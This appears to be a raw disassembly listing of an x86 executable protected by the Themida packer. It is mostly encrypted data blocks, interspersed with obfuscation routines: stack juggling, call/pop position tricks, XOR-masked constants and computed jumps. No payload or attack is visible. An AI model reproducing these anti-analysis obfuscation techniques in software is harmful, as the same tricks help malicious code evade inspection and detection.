		dd 0DF380FDDh, 0B3CF0F4Fh, 0FFED7650h, 0CA771D76h, 74215747h
		dd 3B43019Dh, 24999B52h, 2FB4AE9h, 1AFC0000h, 71A14E84h
		dd 0CB4AF72Dh, 1FF09DD3h, 759C497Fh, 0ABFF329h,	78AEF021h
		dd 1F5549CBh, 0CA009E72h, 72A8F61Dh, 0CC2F4BA3h, 0FA07E7BFh
		dd 6AA7DD94h, 0C251FE34h, 0BCEFA6DCh, 7E7A3B92h, 12B8B864h
		dd 2161D8B1h, 0E6B1A205h, 0B77D0FFh, 0FFE6B1A8h, 0C9E575CEh
		dd 0FFE6B166h, 3ACA338Ch, 0E0CA501Eh, 65F54E07h, 5A44D025h
		dd 0D73AA6CFh, 0C407E0B9h, 53FBEBB8h, 0D166A7B7h, 0A9D25D41h
		dd 0B7079A40h, 49EFAF62h, 0E0B06ED5h, 3DF77807h, 2A042E6Eh
		dd 2AD26D89h, 2457BA26h, 0FD7D07E1h, 0E1247EE1h, 0E24BA407h
		dd 23C9D53Dh, 6F301B53h, 0B2B940h, 14690000h, 46FDA3FBh
		dd 0A7326CA7h, 44CFCF42h, 0E6889B18h, 702EE5FFh, 0C84DA23Ah
		dd 908330D6h, 1F6A830Eh, 48F0F05h, 8DE272DBh, 278C1787h
		dd 0A248B1EDh, 9C75CA0Ah, 2E85C02h, 3007E09Dh, 4940A1D7h
		dd 0DB449806h, 0B52FFFDBh, 923B55F8h, 0ED7DE60Dh, 0DDE696D1h
		dd 0C353AC0Fh, 6DF8A66Eh, 0B1069E44h, 5B083E60h, 282AE8B6h
		dd 1999BFAh, 1D327C6h, 0F2240000h, 49C976ACh, 0A3721F55h
		dd 0F718C5FBh, 4DC471A7h, 32E71B51h, 0A0D6C849h, 477D21F3h
		dd 0F228769Ah, 9AD0CE45h, 0F45773CBh, 2207E7BFh, 6AA705BCh
		dd 0F8831BF8h, 833066CFh, 21D80E90h, 0A7326CA7h, 97CDD142h
		dd 0EA7529EAh, 18A8B8D1h, 108E83D8h, 99DCF66Ah,	0B10A07E0h
		dd 4F4FC126h, 0E8B65FC4h, 5610415Dh, 0F9B3DCAEh, 10A0FE15h
		dd 22B0DFE6h, 0A1479DF3h, 0D9870263h, 0AD372D49h, 4AA30FDAh
		dd 0E5B95ABFh, 71B1015Ah, 0E683F255h, 84A020FFh, 0FFE68421h
		dd 0E78DF64Fh, 88DDAC66h, 70D3EF88h, 96FFE684h,	2049D43Dh
		dd 0F070197Ah, 0A1042060h, 0CFFFE684h, 1C38D076h, 7E09A26h
		dd 76CB5BB4h, 758A049Ah, 48A7B864h, 6A1755FBh, 56AF5A9h
		dd 0E3BB570Bh, 345DEF7Ah, 217D967Ah, 50FF8AEBh,	5D44E901h
		dd 0B848B151h, 62EDB163h, 0DFFB9339h, 0FDB60C5h, 0D3365292h
		dd 9DFFE754h, 91EA2B73h, 0B949A2EBh, 53FA5D79h,	0CF28FFE7h
		dd 0E2319629h, 54167995h, 0E33CFFE7h, 345DEF7Ah, 0BA56AB7Ah
		dd 0AA6C7D3h, 4BB49E60h, 0F15470C0h, 1FFFE696h,	56B75DC6h
		dd 819D2D33h, 7E0AD67h,	613DD72Ch, 0FDA171D6h, 3AE04972h
		dd 16298F1h, 2C48D888h,	0FE1AEEFh, 84E974CDh, 2CD90F8Fh
		dd 8967BE7h, 60EB547Dh,	4856BB10h, 7AEE94BDh, 3B567983h
		dd 2206C0F9h, 0DD1DADF1h, 76635EC1h, 852B8424h,	25799A47h
		dd 88DA359Ah, 6539D78Bh, 0BD48B1DAh, 7B23EF94h,	0D35EC7F0h
		dd 65AC0141h, 58129339h, 0CA2D4989h, 0F8247663h, 88F1AD63h
		dd 0C0DE35E2h, 2C36DD8Ah, 12AB5E9h, 62F25571h, 0C7202476h
		dd 2E83D35Eh, 42DB8E6h,	3775Eh,	0BB100000h, 2F6FA75Ch
		dd 0CAD43FA4h, 6836DA3Fh, 29C78DDh, 9FFF1277h, 3C62AF14h
		dd 0DBC34CB1h, 742AEB50h, 108E84E9h, 0AF685285h, 89000029h
		dd 0EC682404h, 89000026h, 0ED682404h, 8900001Dh, 0BE56241Ch
		dd 74C71EF9h, 6DDBBD55h, 0CD810271h, 5EA22D85h,	5576C581h
		dd 0DDF746DFh, 3B8EED81h, 0F5815D61h, 800448BEh, 295DE889h
		dd 8B545EF0h, 0C481241Ch, 4, 0BDB85050h, 3151EA10h, 58042444h
		dd 8108438Fh, 10BD0873h, 1C8B51EAh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		db 3Fh
		dd 7C757787h, 87CBC199h
		db 73h,	2Fh, 2Dh
; ---------------------------------------------------------------------------


loc_5F744B:				; CODE XREF: Themida_:005F5E3Cj
		mov	eax, 8013F75h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 7625ACF0h, 5CE33138h, 6E2B48A9h, 6696C753h, 5A3C8FDDh
		dd 3B2F2898h, 3F2B3332h, 61FA38B7h, 7595E01Eh, 1872FF2Ch
		dd 640467Bh, 3E76EB21h,	20272BD7h, 5DCBA6F8h, 6E715273h
		dd 34E41CAEh, 51884BC8h, 737C6EFFh, 2B2ACE18h, 3AE933B2h
		dd 39B6A65h, 2EA31B53h,	70990B59h, 0C7AB115h, 0A51149h
		dd 72901D69h, 1EE78D59h, 6C72F753h, 55031F4Dh, 164CC1C1h
		dd 15FE9h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_5F74D1	proc near		; CODE XREF: sub_4068E0+12Bp
					; sub_409CA0+1Dp ...
		push	edx
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 8014099h
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_5F7627
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 4E7D5238h
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+7FA1CD9h],	eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 0D7546EFDh
		xor	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+7FA31ADh],	eax
		mov	eax, [edx+14h]
		mov	[ebp+7FA2BD9h],	eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_5F75EB
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA16F1h]
		jmp	loc_5F75FF
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA2F59h]
		jmp	loc_5F75FF
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA16B1h]
		jmp	loc_5F75FF
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA3391h]
		jmp	loc_5F75FF
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA167Dh]
		jmp	loc_5F75FF
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA0D31h]
		jmp	loc_5F75FF
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA2515h]
		jmp	loc_5F75FF
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA2EA9h]
		jmp	loc_5F75FF
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA112Dh]
		jmp	loc_5F75FF
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA2D6Dh]
		jmp	loc_5F75FF
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA2149h]
		jmp	loc_5F75FF
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA28EDh]
		jmp	loc_5F75FF
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA243Dh]
		jmp	loc_5F75FF
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA1E99h]
		jmp	loc_5F75FF
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA0E71h]
		jmp	loc_5F75FF
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA0EEDh]
		jmp	loc_5F75FF
; ---------------------------------------------------------------------------


loc_5F75EB:				; CODE XREF: sub_5F74D1+65j
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+80140FAh]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5F75FF:				; CODE XREF: sub_5F74D1+70j
					; sub_5F74D1+7Bj ...
		call	dword ptr [ebp+7FA1799h]
		pop	ebx


loc_5F7606:				; CODE XREF: sub_5F74D1+14Ej
		mov	eax, [ebp+7FA1CD9h]
		cmp	[eax+4], ebx
		jnz	loc_5F7624
		push	ebx
		push	1
		call	dword ptr [ebp+7FA1019h]
		pop	ebx
		jmp	loc_5F7606
; ---------------------------------------------------------------------------


loc_5F7624:				; CODE XREF: sub_5F74D1+13Ej
		popa
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_5F7627:				; CODE XREF: sub_5F74D1+18j
		popa
		pop	edx
		mov	eax, 7E41A8ADh
		jmp	eax
sub_5F74D1	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp+7FA0DC5h]
		lea	ecx, [ebp+80141E8h]
		mov	[ecx+1], eax
		mov	eax, ebx
		lea	ecx, [ebp+8014302h]
		push	0
		push	ecx
		call	sub_5F7652
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F7652	proc near		; CODE XREF: Themida_:005F764Ap

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5F7652	endp

; ---------------------------------------------------------------------------
		dw 3FE1h
; ---------------------------------------------------------------------------
		xor	eax, 0DFBA79BEh
		jnp	short loc_5F76D1
		mov	esi, edx
		cld
		mov	[ebp+7FA1CD9h],	ecx
		push	0
		push	ecx
		call	sub_5F767F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F767F	proc near		; CODE XREF: Themida_:005F7677p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5F767F	endp

; ---------------------------------------------------------------------------
		db 2Fh
		dd 0AC99D89h, 9D8907FAh, 7FA329Dh, 31AD85C7h, 61E407FAh
		dd 890F0000h, 14h, 8E8h, 70B66C00h, 16A764D5h, 890FCFh
		dd 5F000000h, 286DB529h, 85C707FAh, 7FA2BD9h, 0
		db 6Ah
; ---------------------------------------------------------------------------


loc_5F76D1:				; CODE XREF: Themida_:005F7669j
		add	[ebp-18h], dl
		add	eax, [eax]
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		and	[ebp-3Dh], bl
		pop	ebp
		mov	[esp+4], ebp
		add	dword ptr [esp+4], 14h
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		db 0B1h
; ---------------------------------------------------------------------------
		jmp	loc_5F76FB
; ---------------------------------------------------------------------------
		db 0EDh, 0A0h, 0F7h
		dd 0BAE98665h
; ---------------------------------------------------------------------------
		or	[edi], ecx
		pop	ds


loc_5F76FB:				; CODE XREF: Themida_:005F76ECj
		push	dword ptr [ebp+7FA2EA9h]
		push	0
		push	esi
		call	sub_5F770C
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F770C	proc near		; CODE XREF: Themida_:005F7704p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5F770C	endp

; ---------------------------------------------------------------------------
		dd 18F77DAFh, 0E98CE43Ah, 8, 0AA63F6E8h, 9700DB42h, 179995FFh
		dd 853107FAh, 7FA0539h,	95FF006Ah, 7FA1019h, 6EEBC08Bh
		dd 28F235F4h, 0ABBBB775h, 69B57315h, 0F3B6417Dh, 8F934CE2h
		dd 0A557D236h, 0A6F2134Fh, 0CE97F6F4h, 3EC430D0h, 35F8F9CEh
		dd 8096109Eh, 55D81E0Bh, 351CF66Bh, 11E8C4AAh, 0ED2268C8h
		dd 253A3B77h, 0C7553C42h, 0AB34E372h, 11A0B9Ch,	0CCAD510Ch
		dd 8FB03FF6h, 0F1A3AC0Dh, 7E5B7F58h, 5D6F5473h,	2AC9250Bh
		dd 6BC9C491h, 840491EAh, 85C6CFFBh, 7FA0665h, 30DF6856h
		dd 0B5FFA9C5h, 7FA2095h, 0A3DD858Dh, 0D0FF07FDh, 30DD8D8Dh
		dd 6A5107FAh, 0A1B5FF40h, 0FF07FA27h, 0FA22B5B5h, 0FFD0FF07h
		dd 0FA27A1B5h, 0B5B5FF07h, 0E807FA22h, 11h, 940F560h, 324FDE75h
		dd 0D0E92C54h, 42497C45h, 835858F8h, 2CC104E8h,	24C10224h
		dd 4030224h, 241CF724h,	68h, 34FF5900h,	0EE815E01h, 65F083E6h
		dd 466DEE81h, 0F6811E17h, 5FC3A2C2h, 83083489h,	3B4903E9h
		dd 850F240Ch, 14h, 27E9h, 4BB99A00h, 1DA68D4Eh,	0F8B7BCC3h
		dd 91ECE253h, 0FFFFC1E9h, 4080A5FFh, 14E998EAh,	561A6EFAh
		dd 0F5E74A63h, 367CDC3Dh, 27199D8Dh, 38B07FAh, 840FC00Bh
		dd 7, 5B8B038Bh, 8B188904h, 9E8C9h, 87E20000h, 910CC1A0h
		dd 608103B6h, 8B665B50h, 815F61D0h, 64CEC7h, 0BDB9F500h
		dd 8131ED97h, 0ED8F42F1h, 10E931h, 7E3B0000h, 5D2C2853h
		dd 0E6FB3DFAh, 48D140Ah, 178B25F0h, 79DE8166h, 7EA8158h
		dd 0F163C0Eh, 1489h, 0FE900h, 577B0000h, 7898F354h, 9539518h
		dd 1A097F96h, 50F28137h, 0B705E9BEh, 0C28110h, 0E9034129h
		dd 14h,	5923E2E8h, 0FD1F6DC5h, 0F7543B39h, 83A079E9h, 0B5D14238h
		dd 840F6052h, 2, 0D98A6160h, 83078F61h,	8B6601EFh, 4F4F4FC7h
		dd 0BE9h, 0BCDC200h, 0B4234F35h, 7DFCF83Ah, 1E981h, 850F0000h
		dd 0FFFFFF7Eh, 0DE8F860h, 22000000h, 3FF8133Dh,	5818C582h
		dd 5D35E14Ch, 830Fh, 615A0000h,	9E8h, 7B5E6700h, 0A0EF4A5Bh
		dd 58FCED99h, 0C081F18Bh, 5D5Ch, 0CE9h,	0CF386600h, 3186FD1Ah
		dd 89CE0EB3h, 173ABB15h, 81660000h, 8B8B93CEh, 8152B510h
		dd 0ADA571C2h, 74F28128h, 8149F598h, 257D68F2h,	8D0F4Ch
		dd 89000000h, 0CE810h, 77920000h, 0D852DF16h, 74119C59h
		dd 0FE8B75C8h, 4E8835Fh, 2958BEh, 1EB810Eh, 0F000000h
		dd 0FFFFBA85h, 0CFBE66FFh, 0BE8ACh, 10530000h, 779A70F5h
		dd 8F0D988Eh, 0BE980h, 0C340000h, 0E8080B9Ah, 7DAE8E35h
		dd 0E5B05B20h, 5E92C381h, 0AE90000h, 24000000h,	9B14984Fh
		dd 431F11Ah, 177CBE24h,	38B40000h, 0BF0F33FFh, 0FE95FC9h
		dd 1C000000h, 3519BAD9h, 0F65E2885h, 201DC5C9h,	0F7813F75h
		dd 2DE308F1h, 71C9BA66h, 137FC781h, 816606ECh, 81107BD0h
		dd 766C3AF7h, 59FC536Eh, 38FF957h, 0EB817EB1h, 1C89E846h
		dd 0BE9h, 0FEA92D00h, 8E298C87h, 9D9F761Ah, 0E842C381h
		dd 0BA661C89h, 0EE81DE18h, 1, 0FF96850Fh, 0CA8BFFFFh, 2DE9h
		dd 70F4F000h, 55h, 9 dup(0)
		dd 0BFE90000h, 68000004h, 80147BFh, 0F93863E9h,	481C68FFh
		dd 59E90801h, 68FFF938h, 801493Dh, 0F9384FE9h, 0D3CB4BFFh
		dd 7C22F09Dh, 227C9946h, 0CED03FECh, 7826EB98h,	72590E42h
		dd 1CC9FF9Fh, 0C370A6F8h, 6E1B514Dh, 0F4C3F9A5h, 0C91D809Ch
		dd 0DD4307E7h, 86E90545h, 0AC07E7C9h, 0A7F6AD53h, 0D9EB236Ah
		dd 0E3EF8F2Eh, 898AEF7Ah, 0E0308515h, 0C7E333BEh, 0FFE6E964h
		dd 2AD03992h, 10FF54ECh, 287E88Eh, 10B2CE5Eh, 0B607E106h
		dd 3FA6D25Dh, 4907E0FDh, 0F25571B1h, 2007E0FCh,	0E6A021C7h
		dd 6F09A7DFh, 30E4540h,	0A0F50000h, 0CD842A74h,	0CEBB657Bh
		dd 64AD0292h, 208915FEh, 0C4C6E27Ah, 0A307E089h, 35DBC34Eh
		dd 0F25693ECh, 545F004h, 11A1BFCAh, 127591D1h, 40FA85E3h
		dd 29B9E6D6h, 82EB9297h, 94A668DCh, 338C027Fh, 0E44763A3h
		dd 0C3FD4B83h, 4B8444A7h, 0D81972FDh, 2D46D97Fh, 5874045Ch
		dd 545BED3h, 136F88B2h,	2874D4B2h, 50E03982h, 508618FBh
		dd 0B4AE63B8h, 4BD63F5Fh, 6E7CDFFBh, 51AAFA86h,	7E9542E8h
		dd 1359D00Fh, 44ADBC59h, 2B79686h, 9D3C7763h, 2F0h, 0B8EEB066h
		dd 6197070Bh, 73D61B4h,	0B3E9B55Ah, 5D930B06h, 868B7429h
		dd 0DF35E218h, 34DC89BFh, 8C87346Ah, 0B50DDC12h, 0E7CA3699h
		dd 3FF65C07h, 3ACA96F3h, 0CA702EE5h, 0CA071632h, 3C9507E7h
		dd 0E4BA57ACh, 8E1001AEh, 0C96FD703h, 1307E7h, 3C42E09Eh
		dd 8CC76E63h, 293EDh, 4B53C300h, 0F4AA6815h, 9A0411BEh
		dd 4658B764h, 0F0AE6310h, 0EAD186BAh, 94417727h, 3BE81E80h
		dd 0E693C9D5h, 6C3B712Dh, 0CB95F814h, 55BB07E7h, 0CA96F39Eh
		dd 6BA5FA3Ah, 0A198D33h, 9807E7CAh, 2188B43Fh, 2B07E7C9h
		dd 0B1E9F0AAh, 984075D1h, 42CDD143h, 0C1927319h, 23000001h
		dd 0A2326CA7h, 758B3278h, 993F72EBh, 2C72A106h,	8095EF6h
		dd 6BF0536Fh, 0BD16FFE7h, 3C4DAE54h, 0DE789424h, 407E196h
		dd 8DF420ABh, 9707E146h, 4D8D5C16h, 0E146CE31h,	0F59BF407h
		dd 6F4DED25h, 208B40h, 0F31C0000h, 1E3ACA96h, 7E09C50h
		dd 3E6AF54Eh, 7E09BD7h,	9FA660E1h, 406EA767h, 0BA05h, 6CA79600h
		dd 0CF42A732h, 9FF444CFh, 7E20EF73h, 0BB61CAF3h, 0E99050Eh
		dd 0F8A669BEh, 0F19E446Dh, 0D2467C22h, 0FFE68849h, 4C821CF7h
		dd 469B9EEBh, 568D4CAh,	2BFFE687h, 84D969D2h, 5C85108Eh
		dd 2C021EB6h, 3A07E367h, 0A5306EA5h, 2E83137Ch,	0D885BBE3h
		dd 0A3A76539h, 849E615Eh, 172AA49h, 32E40000h, 8989366Ch
		dd 0E332DF15h, 37D885BBh, 8D843167h, 0F2A7DB11h, 60960809h
		dd 73D61B3h, 0B2E8B65Ah, 5A900E05h, 0B417338Bh,	0E207E7CCh
		dd 6AA7C57Ch, 1D8618F8h, 0C2DC388Dh, 2A680E37h,	0D3365292h
		dd 1FFE683h, 6BF6A86Ch,	905FD942h, 0A390D332h, 82913EE4h
		dd 0A72FE61Ch, 7F1FF66Ch, 2588A4F4h, 4BFFE683h,	952089F2h
		dd 86E90545h, 5DFFE683h, 0E683DE41h, 6AAB04FFh,	2658111h
		dd 30FFE683h, 8F8431D7h, 1178D90Fh, 0A96ABF4Fh,	9B416AF5h
		dd 0D2E6E703h, 77D007E0h, 0E37F92E7h, 0BEE7722Ch, 3BA4FA19h
		dd 0D22A9105h, 1FF407E0h, 0D2D93C58h, 6EA307E0h, 696EF30h
		dd 0E0D287EAh, 0EB54AD07h, 9DDD1DB5h, 0E0D21E81h, 7FEB4407h
		dd 7E0D21Ch, 9E4BF14Ah,	7D21EF73h, 0F398914h, 0DA9CD659h
		dd 811DF2EAh, 0BE64CDF6h, 83D7h, 0D53A8F00h, 0AEF024C9h
		dd 9D54FA23h, 3ACA96F3h, 0E7CA0B1Eh, 0F049907h,	66A0237Eh
		dd 2B947F40h, 41D237C2h, 3A8F275Dh, 0EE3EC9D5h,	0E8786FD2h
		dd 0D33C9507h, 0B93802Dh, 37775480h, 144D655Ah,	0DA9D765Ah
		dd 56CD5BBEh, 0C7308955h, 6F2FE491h, 0E907FE4h,	0ADF11E83h
		dd 4658BD22h, 0B46E9FBBh, 57113A0Ch, 0C8FEA073h, 1BA6F81Bh
		dd 137Ch, 92BC1500h, 0A3585815h, 0B9CCE661h, 0E338A620h
		dd 0EE4DE68Ch, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh, 77029C78h
		dd 149FFF12h, 0B13C62AFh, 50DBC34Ch, 0E9742AEBh, 85108E84h
		dd 21B46852h, 2C890000h, 2FBD6824h, 0C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	esi
		mov	esi, 80146A4h
		push	esi
		xor	dword ptr [esp], 40C24784h
		pop	ecx
		xor	ecx, 40C24784h
		pop	esi
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, ecx
		push	ebp
		xor	dword ptr [esp], 5A8B5AFCh
		pop	dword ptr [edx+8]
		xor	dword ptr [edx+8], 5A8B5AFCh
		pop	ebp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		dd 0D4B8FF9Ch, 308014Ah, 0ECE0FFC5h, 813F4223h,	38520DFCh
		dd 0A00B1E24h, 48370141h, 9E093B51h, 8D4A648Fh,	0F61AD9DEh
		dd 3E321E36h, 80EB265h,	2515CA3Bh, 0E93B6174h, 9, 69B032E3h
		dd 0
		dd 645E900h, 0E2340000h, 39D986BCh, 93822F65h, 0E728D50Bh
		dd 3DD481B7h, 42F72B61h, 0B0E6B859h, 578D1103h,	23866AAh
		dd 0AAE0BE55h, 46783DBh, 3207E7CEh, 0A70A34CCh,	2590EA4Dh
		dd 0A7873EE4h, 57A7326Ch, 0EA900E02h, 94CAD43Dh, 0E2722CE7h
		dd 832386A2h, 2318FFE6h, 69B669Dh, 0AF55AEEFh, 425CB71Ch
		dd 0DEC052B7h, 7C1FA53h, 78AEF023h, 0C95945CBh,	73039B74h
		dd 0E6FFF457h, 23C922FFh, 8AD838E5h, 6836DA88h,	0E24B74FFh
		dd 7C22F257h, 506CACECh, 0FFE6FFEDh, 0EB4EBA13h, 19FFE6FFh
		dd 0F5871AC0h, 0E22E12CCh, 3AD986BCh, 3489D964h, 0A61AC0DEh
		dd 0FFE70040h, 3F460071h, 38750C07h, 62A5h, 6CA73600h
		dd 167BA732h, 0DCFFE683h, 0A3DD6836h, 0F5B98C76h, 6DA44962h
		dd 598AA631h, 48B9F79Fh, 684F878Eh, 1ED3875h, 7E000000h
		dd 1D226BA7h, 372E60A5h, 298E1982h, 0C52AB5E9h,	0A6F8184Ah
		dd 0BB58AD3Dh, 51AA3DE3h, 658F5E18h, 6638E1F5h,	6714BA89h
		dd 0E63F3ABh, 0E8119C02h, 0BC570442h, 0A7F5ACE2h, 4FA4346Ah
		dd 2A749DC5h, 820D769Fh, 0BB20B359h, 0A0BC4757h, 40D1B56Fh
		dd 83B81B37h, 85DEFFE6h, 0E46F2FE0h, 98C252BBh,	0E7D0768Dh
		dd 57953BB6h, 0AA3569AAh, 8BA7D045h, 0FFE6B028h, 18CF54Eh
		dd 9AA15BDCh, 3874B652h, 6A100F39h, 0E4BB9053h,	0B5D53854h
		dd 0A2FBFFE6h, 4E1BFCh,	0A7AC0000h, 44A9346Ah, 0DD42CDD1h
		dd 0B5F45B32h, 0D4548037h, 977BE06Bh, 0F7387C07h, 0C3FC953Dh
		dd 0B2EC2509h, 5C42CF7Ch, 0FBA36CD1h, 10CA4B70h, 7553C109h
		dd 435F38h, 0BA0F0000h,	0EAA14757h, 0A9346AA7h,	47D2CC44h
		dd 2408C203h, 0C47BB1EDh, 0A3336BA7h, 50DBC34Eh, 0D918227h
		dd 20B35982h, 0E6838EF4h, 944EBFFFh, 748F558Dh,	2EE73C38h
		dd 8F80E570h, 1F00A60Fh, 1, 0A867BCB0h,	0B9445ABAh, 739C2790h
		dd 0CE5945CEh, 0C352FFA5h, 28EB50DBh, 85A1D63Ah, 0FFE68322h
		dd 258EF750h, 0A7D04095h, 0E683288Bh, 8CF54EFFh, 81C153E6h
		dd 83C22541h, 85A1FFE6h, 0FFE68322h, 5DB6F750h,	0BB4658B8h
		dd 0B16BEC92h, 0AA69B8E2h, 7FB22BACh, 0A4E92CD9h, 0E7802E3Dh
		dd 8FAB3B34h, 0FFE72E2Ch, 6298015Ah, 49A75CAh, 49AA5079h
		dd 74902040h, 7E14516h,	3699B5F5h, 5C07E13Fh, 0BB145D03h
		dd 8155012Bh, 0EB6A9798h, 0F25CAF71h, 751BF8C7h, 0A76892E2h
		dd 9A0EEA67h, 40FBC62h,	5CB7649Ah, 6910D06h, 93379AB6h
		dd 45D07E0h, 4DA2329Bh,	224BD6C8h, 58BDE97Ch, 4307E093h
		dd 0AF644802h, 70CB9EFh, 70882D86h, 0B41D02C9h,	4F4FC429h
		dd 0EAB45FC4h, 8618FA5Fh, 217D96FBh, 0A8E96D96h, 0B9EA46EEh
		dd 35DB30FFh, 728EDE69h, 7E0FC0Fh, 0CE73DC35h, 0AB75D41h
		dd 0C75F9509h, 0FC086B87h, 0D52E07E0h, 8275F2Fh, 7EC5406Fh
		dd 56000001h, 3ACA96F3h, 326CA5FAh, 64D87EA7h, 7E0B80Eh
		dd 2E91ADEDh, 0F007E0B8h, 0C8F17C22h, 88EB0787h, 0AE07E0B8h
		dd 0FD46EC55h, 54BF14A4h, 0F096BF4Ah, 831BF85Dh, 2B73A04Dh
		dd 0C6D83BA0h, 633BD63Bh, 9E73D8h, 818A3B75h, 0B4D660CDh
		dd 896D2758h, 6089148Ah, 29539BF7h, 8BA10F5Eh, 399CB89Fh
		dd 6707E098h, 7EFFA50Eh, 2F33E0C4h, 1E54BDE1h, 0C0DE3186h
		dd 0A4124A1Ah, 56B0406Eh, 41000000h, 36C69AF3h,	0E683971Ah
		dd 6DA83D7Fh, 147DA631h, 0F4F35A84h, 0CC988936h, 0EBAF936Ch
		dd 30D63F54h, 4E0E719Dh, 0BAE37FE6h, 3B256800h,	4E0C8FABh
		dd 61BAFFE6h, 0F8957CD1h, 0B86E452Bh, 18A30CD7h, 240B49EFh
		dd 0B5h, 0B322B2DCh, 4EC8D63Ah,	913788E3h, 7A92BCDAh, 6C1CBDE9h
		dd 2069CA70h, 4670B040h, 7BE9D7A6h, 298CA8F5h, 57FFE6EEh
		dd 7BEF95FEh, 7E10511h,	0C72A4686h, 0ED07E100h,	4CA5EE94h
		dd 0E7B75CC1h, 90EF19B1h, 4BE1D3A7h, 1F7F9035h,	18C56B94h
		dd 0EC18A3FBh, 7E14684h, 4024DE1Fh, 1C828FD3h, 6FFF6891h
		dd 45B0132Fh, 7DD607E1h, 513899D7h, 7B637F0Fh, 1C0FE290h
		dd 0C5DC0DCh, 2A830FE2h, 52E23B84h, 0E28816FDh,	67AAFF4Fh
		dd 2FE49137h, 839FDF6Fh, 0FE20C20h, 0B447ED46h,	703FF922h
		dd 59231646h, 8B3139DDh, 71015F2Ah, 0E37E6D55h,	0EA207917h
		dd 0CA96F333h, 2590103Ah, 634D0FD3h, 210925BDh,	0C507E892h
		dd 977CE16Ch, 0F3227707h, 0B056884h, 0D22B07E8h, 0FB5DE69h
		dd 0AFEF24D1h, 6C79F824h, 0D60F6999h, 1DF84D1Ch, 27CDF681h
		dd 0C2DE997Ah, 69976B5Fh, 6EAFEF21h, 0DC1CAC15h, 976B5DC0h
		dd 0F7E84A69h, 1968C52Bh, 9BD97FD8h, 0D83D25EEh, 39D63BC6h
		dd 48B1DA65h, 0DA0454DFh, 0D820C3DDh, 0D9862CA6h, 78DD6836h
		dd 0EE96F697h, 970E43D9h, 0D53EA32Eh, 0F1223EC9h, 7DBD8F37h
		dd 69BF133Dh, 67181302h, 971198FBh, 0BF65BE69h,	8BB5843Eh
		dd 38FD5EBAh, 1FB47B7Eh, 69E48E08h, 2EE59238h, 78A23A70h
		dd 9F9DBB6h, 0AB75DE8h,	0D6B75909h, 233E48FBh, 0A50E7718h
		dd 177B1Ah, 0F3330000h,	971174D7h, 0CBD33E69h, 0D48B318Ah
		dd 0F6A867BCh, 39C426Bh, 2F6FA7A4h, 0CAD43FA4h,	6836DA3Fh
		dd 29C78DDh, 9FFF1277h,	3C62AF14h, 0DBC34CB1h, 742AEB50h
		dd 108E84E9h, 89575285h, 95B850E7h, 2D249A72h, 531840FAh
		dd 0D0F7D8F7h, 0CA7E2E25h, 568E0545h, 9C3577ECh, 1B96E86h
		dd 0EF8358C7h, 243C8704h, 0E789575Ch, 4C781h, 0EF830000h
		dd 243C8704h, 2404895Ch, 0C9568h, 24148900h, 14B8D68h
		dd 24048B08h, 4C481h, 0EC810000h, 4, 83242489h,	5A042404h
		dd 4EC81h, 2C890000h, 89C58924h, 8B5D086Ah, 89532414h
		dd 4C381E3h, 81000000h,	4C3h, 241C8700h, 24048B5Ch, 81E78957h
